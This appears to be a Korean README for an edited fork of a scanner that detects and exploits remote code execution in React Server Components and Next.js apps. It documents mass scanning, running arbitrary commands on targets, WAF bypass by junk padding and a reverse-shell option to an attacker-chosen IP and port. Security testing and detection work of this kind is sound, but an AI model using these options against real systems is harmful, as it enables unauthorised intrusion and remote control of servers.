React2Shell Scanner

RSC/Next.js RCE를 위한 고충실도 탐지

React Server Components 및 Next.js 애플리케이션에서 RCE(Remote Code Execution) 취약점을 탐지하기 위한 스캐너입니다.

개요

React2Shell Scanner는 RSC(React Server Components) 및 Next.js를 사용하는 애플리케이션에서 RCE(원격 코드 실행) 취약점을 식별하기 위한 특수 도구입니다. 이 도구는 다음 CVE와 관련된 취약점을 탐지합니다:

• CVE-2025-55182
• CVE-2025-66478

이 도구는 side-channel 탐지와 RCE 개념 증명(PoC)을 활용한 고충실도 검사를 수행하며, HTTP 응답을 자동으로 파싱하여 실행된 명령의 동적 결과를 추출할 수 있습니다.

이 버전은 Assetnote Security Research Team이 개발한 원본 스캐너를 @imguimoraes가 편집한 버전입니다. 원본 RCE PoC는 @maple3142가 만들었습니다.

기능

• side-channel 및 PoC RCE를 사용한 고충실도 탐지
• 대량 스캔을 위한 멀티스레드 실행
• 실행된 명령 결과의 동적 추출 (헤더 및 응답 본문 자동 파싱)
• 구성 가능한 임의 데이터를 사용한 WAF 우회
• Windows(PowerShell) 및 Linux/Unix(셸) 지원
• 이후 분석을 위한 구조화된 JSON 출력
• 리디렉션 자동 추적
• 진행률 표시줄 및 컬러 출력 인터페이스

설치

요구 사항

• Python 3.8 이상
• pip(Python 패키지 관리자)

종속성 설치

pip install requests tqdm

또는 requirements.txt 파일 사용:

pip install -r requirements.txt

사용법

기본 구문

python scanner.py [-u URL | -l FILE] [opções]

단일 URL 확인

python scanner.py -u https://example.com

여러 URL 확인

python scanner.py -l hosts.txt

명령줄 옵션

입력 옵션 (하나 필수)

실행 옵션

출력 옵션

헤더 옵션

익스플로잇 옵션

사용 예시

예시 1: 호스트 기본 스캔

python scanner.py -u https://target.com

예시 2: 다중 스레드를 사용한 대량 스캔

python scanner.py -l targets.txt -t 50 --timeout 15

예시 3: JSON 출력 스캔

python scanner.py -l targets.txt -o results.json --all-results

예시 4: 사용자 지정 헤더 스캔

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

예시 5: 사용자 지정 페이로드 스캔

python scanner.py -u https://target.com --payload "whoami"

예시 6: WAF 우회 스캔

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

예시 7: Windows 환경 스캔

python scanner.py -u https://target.com --windows --payload "whoami"

예시 8: 안전 점검 스캔 (비침습적)

python scanner.py -l targets.txt --safe-check

예시 9: 전체 상세 스캔

python scanner.py -l targets.txt -v --all-results -o full_scan.json

예시 10: Reverse shell 설정

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

출력 형식

터미널 출력

스캐너는 상태를 나타내는 색상 코드와 함께 결과를 표시합니다:

• [VULNERABLE] - 취약한 호스트 (빨간색)
• [NOT VULNERABLE] - 취약하지 않은 호스트 (녹색)
• [ERROR] - 확인 중 오류 발생 (노란색)

취약한 호스트의 경우, X-Action-Redirect 헤더 또는 응답 본문의 자동 추출을 통해 실행된 명령의 결과를 사용할 수 있을 때 표시됩니다.

JSON 형식

-o 옵션을 사용하면 출력이 다음 구조의 JSON 형식으로 저장됩니다:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

결과 필드:

• vulnerable: 취약하면 true, 취약하지 않으면 false, 오류가 발생하면 null
• command_result: 응답에서 추출된 실행 명령 결과 (사용 가능한 경우)
• final_url: 테스트된 최종 URL (활성화된 경우 리디렉션 추적 후)
• status_code: 응답의 HTTP 상태 코드
• request: 전송된 전체 HTTP 요청
• response: 수신된 HTTP 응답 (처음 2000자)
• error: 오류가 있는 경우 오류 메시지
• timestamp: 확인의 UTC 타임스탬프

기술 기능

탐지 방법

스캐너는 두 가지 탐지 방법을 제공합니다:

1. Safe Check (--safe-check): 코드를 실행하지 않고 응답의 오류 패턴을 확인하는 비침습적 side-channel 탐지. 영향이 없는 초기 스캔에 유용합니다.

2. RCE PoC: 결과를 동적으로 추출하는 실제 원격 코드 실행. 시스템 명령 실행을 위해 Node.js child_process 기반 페이로드를 사용합니다.

결과 추출

스캐너는 실행된 명령의 결과를 추출하기 위해 HTTP 응답을 자동으로 파싱합니다:

• X-Action-Redirect 헤더 추출 (형식: NEXT_REDIRECT;push;/login?a=<result>;307;)
• 응답 본문 추출 (형식: E{"digest":"<result>"} 또는 1:E{"digest":"<result>"})
• --payload 매개변수를 통해 모든 사용자 지정 명령/페이로드와 함께 작동

추출은 고정 값에 의존하지 않고 동적으로 수행되므로 모든 명령의 실행을 검증할 수 있습니다.

WAF 우회

--waf-bypass 옵션을 사용하면:

• multipart/form-data 페이로드의 시작 부분에 임의 데이터(junk data) 추가
• --waf-bypass-size로 구성 가능한 크기 (기본값: 128KB)
• 요청 본문 내용을 검사하는 WAF 필터를 우회하는 데 유용
• WAF 우회가 활성화되면 타임아웃이 자동으로 20초로 증가

사용자 지정 페이로드

--payload 매개변수를 사용하면 실행할 명령을 지정할 수 있습니다:

• 기본값: echo $((41*271)) (결과: 11111)
• Windows: --windows가 활성화된 경우 PowerShell 명령 사용
• Linux/Unix: 표준 셸 명령 사용

명령 결과는 반환된 값과 관계없이 자동으로 추출되어 표시됩니다.

Reverse Shell

--reverse-shell 옵션을 사용하면 reverse shell 연결을 설정할 수 있습니다:

• 형식: IP:PORT (예: 192.168.1.100:4444)
• Node.js net 및 child_process 모듈 사용
• Windows: powershell.exe 실행
• Linux/Unix: /bin/sh 실행

법적 및 윤리적 고지

이 도구는 교육 목적과 승인된 보안 테스트에만 사용하도록 설계되었습니다.

• 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오
• 이 도구의 무단 사용은 불법이며 형사 책임을 초래할 수 있습니다
• 개발자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다
• 침투 테스트를 수행하기 전에 항상 서면 승인을 받으십시오
• 해당 관할권의 적용 가능한 법률과 규정을 준수하십시오

크레딧

원본 익스플로잇

원본 RCE 익스플로잇은 @maple3142가 만들었습니다.

원본 스캐너

원본 스캐너는 Assetnote Security Research Team이 개발했습니다:

• 저장소: https://github.com/assetnote/react2shell-scanner/
• 웹사이트: https://www.assetnote.io/

이 버전

이 편집 버전은 원본 스캐너의 기능을 유지하면서 추가 개선 사항을 포함합니다:

• 명령 결과의 동적 추출 (자동 응답 파싱)
• 결과 추출이 포함된 사용자 지정 명령 지원
• Vercel Bypass 제거 (??/??/2025에 패치됨)
• Reverse Shell 시스템 (Crash-Friendly)

편집자: guiimoraes

관련 CVE

• CVE-2025-55182
• CVE-2025-66478

버그를 발견하거나 개선 제안이 있으면 저장소에 문제를 자세히 설명하는 issue를 열어 주세요.